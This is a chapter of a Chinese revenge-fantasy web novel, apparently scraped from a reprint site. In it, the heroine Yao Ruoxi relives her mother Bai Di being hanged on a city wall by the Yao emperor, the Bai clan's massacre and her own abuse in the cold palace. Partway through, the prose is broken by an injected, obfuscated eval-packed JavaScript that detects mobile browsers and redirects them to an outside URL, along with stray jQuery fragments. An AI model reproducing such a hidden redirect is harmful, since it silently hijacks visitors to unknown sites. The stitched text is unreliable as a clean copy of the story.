22. 尧帝(7)烟消云散
作品:《献祭后白月光觉醒了[复仇]》 “可探到他现在在何处?”二人来到边境,与眼前南界只余一墙之隔。尧若溪一边问道,一边暗自思索。
鬼掌事为何偏偏在此时暴露?若他目标从一开始便是尧帝,他何必在找到后还告诉自己呢?
他大可在兽场发现他时,便将他藏起。除非……他的目标根本不是尧帝,而是。
“玄千瞳,你有没有觉得……”她立即伸出手,拉住了玄千瞳的衣袖,眼前人便望了过来。
“嗯。”漫不经心的回应,在与他目光对视的那一刻,尧若溪便了然。
“你何时知道的?”她眯起眼睛。
“刚刚。”
尧若溪不信:“三殿下,莫不是一路上都在看着我何时能发现吧?如果真的是这样,我会……”
玄千瞳挑眉问道:“会怎样?”
“会觉得你真的很幼稚。”她盯着他。
尧若溪此刻怀疑的是,鬼掌事根本没出北界,亦不在南界,而是在一个她曾经去过的地方。而方才玄千瞳的眼神告诉她,她猜对了。
玄千瞳身后有一整支秘密影卫,除去淡月与她,再无第三人知晓。
她也曾在忘川河畔怀疑过:鬼王竟也不知?
眼前少年却面露一丝狠色:“若他知晓之时,鬼界便要变天了。”
尧若溪心中暗暗怀疑,玄千瞳身后恐还有高人,否则并不足以与鬼王抗衡。但奈何只是怀疑,除了淡月,他甚至没有见过其他的任何一个影卫。
哦是了,再除去[鬼影]。
所以她完全有理由怀疑,玄千瞳比她知晓得要早的多。只是为何还要带着她一路奔至边境?只是为了躲避四王吗?
怎料后者听完,面上尽是不屑。玄千瞳移开了视线,指了指自己的脑子:“本殿,靠的是这里。只是他们此番效率太慢罢了。”
尧若溪偏头忍不住扬起唇角,不置可否。
玄千瞳接着淡声道:“回去?”
尧若溪却摇了摇头,她望着眼前渐渐隐去的风沙,目光渐渐沉了下来,如万千暗流涌动:“不,还差一个人。”
“…你竟要找他?本殿不同意。”
“三殿下,你此刻不同意也得同意了。”
…………
“咚咚咚。咚咚咚。”夜色中,万籁俱寂,却忽然传来一阵急促的敲门声,老头刚刚饮了酒躺下,此刻骂了一句,翻了个身不再理。
“咚咚咚!咚咚咚!”敲得更急了。
“咚咚咚咚!咚咚咚咚!”愈发急了!
“我去你的二大爷***”,老头猛地坐起,骂骂咧咧找外袍,披上后又骂骂咧咧走到门口,“哪个龟孙儿,我去你的***”
夜色浓重,竹影绰绰,老者忿忿拔掉木栓,猛地打开门后胸腔吸气正准备再吐出一长串问候之际——瞧见了一张煞白的脸。
“溪儿——快来,看母后给你采了什么?”
脱去帝后服的白荻身后藏着一个瓦罐,一滴金黄浓稠的汁水偷偷溜出来,顺着罐口欲将滴下。
尧若溪在梧桐树下起身,傍晚的夕阳有些晃眼,她睡眼朦胧,望着金黄的梧桐叶翩翩,竟不知不觉铺了半身,宛若衣裙。
方才是母后在喊她。
定是有好吃的了!
“母后!”
她望着不远处站在湖边树下的白荻,一身素青色衣裙,身材窈窕,面容是那么的柔和,就像是从画中走出来的仙女一眼,不染凡尘。
她要扑到母后怀里,母后身上总是好闻的,有淡淡的兰花香。
“砰!”
“你是谁?!!”
没有想象中的花香和温柔的怀抱,眼前人骤然变得面色苍白,双目瞪大,吃惊地将自己狠狠推开,手中的瓦罐碎裂在地,流淌出金黄甜腻的蜂蜜。
石头割破手臂,丝丝鲜红洇染出来。
好痛啊,真的好痛。
“母后......我是,我是溪儿。”
她望着白荻头发凌乱,面容上的柔光再也不见,转变为惨白憔悴的肤色,在听见“溪儿”两个字后,双目发红地望着她,愈发疯魔可怖。
“你在撒谎!你不是溪儿,你不是!!!”
尧若溪从迅速从地上爬起,抱住浑身颤抖的女人,望着她布满血丝的眼睛,一头乌发陡然间在以肉眼可见的速度慢慢变白。
“母后你看看我,我是溪儿啊,我是您和父皇最疼爱的女儿啊!”
“你不是!!!”
伴随着一声巴掌,她仿佛听见了什么字眼,原本平静下来面容又变得狰狞,尧若溪跌落在湖岸边,下一秒,瞳孔骤缩。
平静无风的湖面,倒映着一张人脸,却不是她的脸!
这是一张少女的脸,但她现在,明明才七岁!
不久前,母后和父皇不是刚给她设了生辰宴吗?那夜玉清楼上歌舞升平,来了很多人为她庆贺,礼物大大小小,三个偏殿都放不下。宴至半酣时,数百只烟火齐放,璀璨至极,月亮与之相较都黯然失色,整个皇都都被照亮了。城中百姓无一人不知,今日是尧帝最疼爱的女儿,尧国四公主——景安公主的生辰。
她不该是如今这副模样。
“哈哈哈哈哈哈哈哈哈。”
身后突然传来女子欢快的笑声,她猛地回头望向母后,但身后场景已骤然发生变化,她来到了战场。
黄沙漫飞,原本的湖水已变成一滩血泊,红得发黑,倒影中忽然出现一个熟悉的身影,尧若溪猛地站起,望着不远处的城楼,明明周围狼烟四起,那上面却站着两个说笑的人。
她不自觉攥紧了拳头,指甲深深嵌入皮肤,一个是她父皇,另一个,是宠妃关姒!
他看见身穿黄袍的人一招手,随后一个白衣女子被架了过来,碎发披散,头无力的垂落着。
尧若溪忽地心脏一滞,胸中空气像是被抽离一般,小心翼翼往前迈一步,下一秒目眦欲裂,她看见她母后的脸赫然出现!
关姒尖锐的甲套陷进了白荻苍白的脸,渐渐留下血痕,她却面容带笑,捏着看了一会,似乎觉得无趣,同身旁人娇俏撒娇。
随后,黄袍人吩咐了一声,白荻被绳索捆住手脚。
“住手!!!”
尧若溪发疯般跑了起来,忽地迎面疾驰来一匹战马,眼看着就要相撞,那士兵却毫不减速。
“唰——”
穿透灵魂的感觉倏然袭来,她像是被一阵无形强风贯穿的芦苇花,花绒飘散又重新聚回。
怎么回事,她摸不到!
“不要!!!”
尧若溪抬头一看,白荻已被吊上城楼。
尧帝搂着他的贵妃关姒,将一国之后吊在城楼示众,薄情的唇齿一张一合,道出:“白家谋反,杀无赦——”
“不是的,不是的!白家没有谋反,外祖忠心耿耿,怎会谋反。”
“快放开母后,放开啊!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828180|175279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“母后年少时便嫁于你,一路扶持相伴,你怎能,怎能如此待她!!!”
“怎能如此待她啊......”
她想起母后柔和的笑容,总会打发自己安睡,然后深夜陪伴批奏折的父皇,她从不动怒苛待宫人,六宫之事也从不让父皇烦心,她还在瑶山上设立学堂,将尧国难民乞儿都送进去读书安顿。
她曾问母后待在宫墙之中,可想出去看看?白荻笑着说,瑶山上的孩子们自会替她去看。
尧若溪心中无比疼痛,像心被剖开,往事如刀,划开至皮肉翻飞,鲜血淋漓,似乎想尽力从中找出什么,来证明这二十余年应该是真情,不该是如此的!她一遍一遍穿墙而过,却碰不到任何物体,只能大声喊着、咆哮着,眼前很快模糊一片,嘴角腥甜,已经不在乎是血还是泪了。
白家随尧国开国,百年来都是国之重臣、国之忠臣,母后更是母仪天下、心怀百姓,不该是这样的,不能是这样的!
“噗!”
一口鲜血呕出,腹中穿来撕裂般疼痛,五脏六腑更像是被捶打过一般,疼痛瞬间蔓延全身,她最后无力倒地,望着母后,望着灰白无光的天空,凄凉地笑了。
“哈哈哈,尧帝,关姒,若我仍存于世,哪怕是一魂、一魄,我也定会回来亲手了结你们。”
她都想起来了,她全部都想起来了。
同辛十一年,尧帝以白家秘密谋反,在皇都西郊私结军营为由,开始了正式屠杀白氏一族根脉。
此前四月,宰辅白云山长子、次子及其庶子均被派去三方边界,无召不得回京。
同年七月,帝后之妹,和亲送往冬青。
同年九月,白家附属宗族接连出事,随后抄家、发配。
同年十月,白荻书信其父白云山,让他小心皇帝,却最后作为一纸叛国书,篡改其中内容,将其锁进冷宫。
十二月冬,白家被指控谋反,至此,正式屠杀。
尧若溪已撑不住,阖上了双眼,四周陷入冰冷黑暗,身体如下坠云朵般,听觉渐渐远去,寂静无声,她仿佛好久好久没有这般平静过了,她好像要死了,但腹部的疼痛又时不时将她拉回抽离,她便一直在生与死的边缘徘徊。
直到,一身粗暴的声音在耳边炸起。
紧接着头皮传来用力拉拽的疼痛,腹部又被人狠狠踢了一脚,好痛,好冷,好饿。
“哎呦这死丫头。叫你装死,叫你装死,拦路鬼,我呸!”
大脑如同撕裂一般,嗡嗡响声渐渐平息,听觉也慢慢恢复,下一秒,更加巨大的疼痛感随之袭来,她慢慢撑开开血肿的眼皮,不断干呕。
但腹中什么也没有。
天已微亮了,眼前是一个走廊,地上铺着一张薄到可以忽略不计的破布,想来,她昨晚应该是又痛又冷晕过去了。
昨日是三月十五,按照冷宫份额,月中她可以领到三个馒头,一碗菜粥,她不过是拿回属于她的那一份,便被毒打,而后丢在门口。
她扯着嘴角自嘲了一下,居然没死透。
待到两只眼睛全部睁开时,面前已经没有人了,方才不知道又是哪个嬷嬷踢了她。她忍着疼痛,扶着旁边褪色的柱子艰难起身,四周十分嘈杂,很多人在跑来跑去,脚步声不断。
她只看了一眼,没去管,无论是什么热闹事都是与她无关的。一整夜睡在廊下,穿堂风不断,她的双唇已经发白干裂,浑身一会发冷,一会发热。